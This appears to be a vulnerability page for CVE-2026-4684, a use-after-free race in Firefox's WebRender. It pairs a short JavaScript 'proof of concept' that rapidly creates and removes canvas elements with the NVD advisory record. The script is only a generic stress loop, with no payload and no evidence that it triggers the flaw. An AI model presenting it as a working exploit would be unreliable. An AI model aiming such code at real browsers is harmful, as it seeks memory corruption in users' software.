CVE-2026-4684

/* * PoC Concept for CVE-2026-4684 * This script attempts to trigger a race condition in WebRender * by rapidly manipulating DOM elements to stress the renderer. */ function triggerUAF() { const container = document.createElement('div'); document.body.appendChild(container); // Rapidly create and destroy canvas elements to stress memory management for (let i = 0; i < 5000; i++) { let canvas = document.createElement('canvas'); canvas.width = 1000; canvas.height = 1000; let ctx = canvas.getContext('2d'); // Perform complex rendering operations ctx.fillStyle = `rgb(${i % 255}, ${(i * 2) % 255}, ${(i * 3) % 255})`; ctx.fillRect(0, 0, 1000, 1000); container.appendChild(canvas); // Force rapid removal to potentially trigger UAF in renderer if (i % 10 === 0) { container.removeChild(canvas); canvas = null; } } } // Note: Actual exploitation requires precise timing and heap grooming. triggerUAF();

{"cve": {"id": "CVE-2026-4684", "sourceIdentifier": "[email protected]", "published": "2026-03-24T13:16:04.210", "lastModified": "2026-04-13T15:17:36.313", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Race condition, use-after-free in the Graphics: WebRender component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9."}, {"lang": "es", "value": "Condición de carrera, uso después de liberación en el componente Gráficos: WebRender. Esta vulnerabilidad afecta a Firefox &lt; 149, Firefox ESR &lt; 115.34, Firefox ESR &lt; 140.9, Thunderbird &lt; 149, y Thunderbird &lt; 140.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.34.0", "matchCriteriaId": "063BE653-69B0-4543-9A90-BC7A62C943B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0", "matchCriteriaId": "02F2B82F-E997-4D5F-BBB0-237E4962555B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "128.0", "versionEndExcluding": "140.9.0", "matchCriteriaId": "525DEC0C-BB47-46C6-9AEB-98F27D4685FE"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2011129", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-20/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-21/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-22/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-23/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-24/", "source": "[email protected]"}]}}